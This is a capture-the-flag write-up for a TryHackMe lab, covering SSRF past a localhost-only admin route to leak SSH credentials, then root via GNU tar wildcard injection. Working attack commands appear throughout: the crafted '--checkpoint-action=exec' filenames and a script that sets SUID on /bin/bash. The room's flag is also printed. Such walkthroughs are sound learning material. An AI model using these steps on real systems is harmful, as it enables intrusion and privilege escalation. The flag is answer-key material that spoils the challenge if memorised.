Operation Coldstart - TryHackMe Writeup
Operation Coldstart TryHackMe writeup — SSRF against a localhost-gated admin route, leaked SSH credentials, and GNU tar wildcard injection for root.
Wake up the staging server everyone left behind.
##Task 1 | Operation Coldstart
###Answer the questions below
Q. What is the content of user.txt?
Ans.
Q. What is the content of flag.txt?
Ans.
##Walkthrough
Let's begin with a full TCP port scan against the target.
nmap -p- -sV -sT <TARGET_IP>Output:
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http gunicornThree services are exposed:
- >FTP
- >SSH
- >HTTP
##Initial Enumeration
Browsing to the web application presents a simple URL Preview Service.
The page accepts a URL and fetches its contents on behalf of the user.
The application exposes a single endpoint:
GET /preview?url=<URL>Testing the functionality confirms that the application performs server-side HTTP requests.
###FTP Enumeration
Anonymous FTP access is enabled.
ftp <TARGET_IP>
Name: anonymousListing the contents reveals a backup archive.
ftp> ls
backup.tar.gzDownload it.
get backup.tar.gzExtract it.
gunzip backup.tar.gz
tar -xvf backup.tarContents:
voltlabs-preview/
├── app.py
├── requirements.txt
└── README.md##Source Code Review
The README contains an interesting note.
Admin routes are gated by source-IP check (localhost only).Inspecting app.py confirms this.
The application only allows requests to a single hostname.
ALLOWED_HOSTS = {"kestrel.thm"}
host = (urlparse(target).hostname or "").lower()
if host not in ALLOWED_HOSTS:
return 403
requests.get(target)The preview endpoint therefore contains an SSRF vulnerability, but only towards the allow-listed hostname.
Further down, another interesting route exists.
@app.route("/admin/")
@app.route("/admin/<path:p>")
def admin(...):
if not request.remote_addr.startswith("127."):
abort(403)Only requests originating from localhost can access /admin.
However, because the preview endpoint performs requests on the server itself, we can abuse the SSRF to reach this endpoint.
##Exploiting SSRF
Request:
GET /preview?url=http://kestrel.thm/admin/notesResponse:
=== INTERNAL ===
SSH access for staging:
user: webdev
pass: V0ltLabs#summer
- MaraWe have obtained valid SSH credentials.
##Initial Access
SSH into the machine.
ssh webdev@<TARGET_IP>Password:
V0ltLabs#summer
Successfully authenticated.
###User Enumeration
Checking sudo permissions:
sudo -lOutput:
Sorry, user webdev may not run sudo.No sudo access.
Enumerating SUID binaries:
find / -perm -4000 -type f 2>/dev/nullOnly default Ubuntu binaries are present.
Capabilities:
getcap -r / 2>/dev/nullNothing immediately useful.
##Cron Enumeration
Inspect scheduled jobs.
cat /etc/crontabNothing unusual.
However, /etc/cron.d contains another job.
cat /etc/cron.d/voltlabs-backupOutput:
* * * * * root cd /opt/backups && tar czf /var/backups/uploads.tgz *This immediately stands out.
The cron job archives everything inside /opt/backups using a wildcard.
Whenever GNU tar processes wildcard-expanded filenames beginning with --, they are interpreted as command-line arguments.
This is the classic GNU tar wildcard injection privilege escalation.
##Verifying Write Access
Check the directory permissions.
ls -ld /opt/backupsOutput:
drwxrwx--- webdev webdevSince the directory is writable, the attack is possible.
##GNU Tar Wildcard Injection
Create a payload script.
echo 'chmod u+s /bin/bash' > shell.sh
chmod +x shell.shCreate the malicious filenames.
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'Directory contents:
--checkpoint=1
--checkpoint-action=exec=sh shell.sh
shell.shWhen cron executes:
tar czf /var/backups/uploads.tgz *it effectively becomes:
tar czf /var/backups/uploads.tgz \
--checkpoint=1 \
--checkpoint-action=exec=sh shell.sh \
*tar therefore executes:
sh shell.shas root.
##Privilege Escalation
Wait for the cron job to execute.
Verify:
ls -l /bin/bashOutput:
-rwsr-xr-x root rootThe SUID bit has been added.
Spawn a root shell.
/bin/bash -pVerify:
idOutput:
uid=1001(webdev)
euid=0(root)We now have root privileges.
##Root Flag
Navigate to the root directory.
cd /root
cat flag.txtFlag:
THM{e6ee84a483d67ade06936fcfd1433e8a}
##Vulnerabilities Identified
- >Anonymous FTP enabled
- >Sensitive source code exposed through FTP backup
- >Server-Side Request Forgery (SSRF)
- >Localhost-only admin interface bypass via SSRF
- >Hardcoded SSH credentials stored in internal notes
- >Writable backup directory processed by privileged cron job
- >GNU tar wildcard injection leading to root privilege escalation
##Attack Path
Nmap
│
▼
Anonymous FTP
│
▼
Download backup source
│
▼
Review Flask application
│
▼
Discover SSRF
│
▼
Access localhost-only /admin/notes
│
▼
Retrieve SSH credentials
│
▼
SSH as webdev
│
▼
Enumerate cron jobs
│
▼
Discover vulnerable tar backup
│
▼
GNU tar wildcard injection
│
▼
SUID bash
│
▼
Root